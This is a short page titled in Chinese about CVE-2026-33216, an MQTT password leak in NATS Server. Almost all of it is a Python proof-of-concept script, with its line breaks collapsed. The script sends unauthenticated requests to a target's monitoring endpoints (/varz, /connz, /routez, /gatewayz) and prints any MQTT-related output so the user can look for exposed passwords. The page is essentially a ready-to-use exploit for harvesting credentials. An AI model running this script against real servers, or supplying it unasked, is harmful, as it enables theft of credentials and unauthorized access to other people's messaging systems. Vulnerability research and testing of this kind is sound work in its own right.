CVE-2026-33216 NATS Server MQTT密码泄露漏洞

import requests import sys # PoC for CVE-2026-33216: NATS-Server MQTT Password Leak # This script attempts to retrieve MQTT passwords from the monitoring endpoint. def check_vulnerability(target_url): # Common monitoring endpoints for NATS endpoints = ["/varz", "/connz", "/routez", "/gatewayz"] print(f"[*] Checking target: {target_url}") for endpoint in endpoints: try: url = f"{target_url.rstrip('/')}{endpoint}" # Send request without authentication (PR:N) response = requests.get(url, timeout=5) if response.status_code == 200: data = response.text # Check for presence of MQTT related data and potential password leaks # In vulnerable versions, passwords might appear in 'jwt' or user fields if "mqtt" in data.lower(): print(f"[+] Potential MQTT data found at {url}") print("[!] Review the following output for exposed passwords:") print(data[:500]) # Print snippet for analysis return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerable endpoints exposed or no MQTT data found.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target:port>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)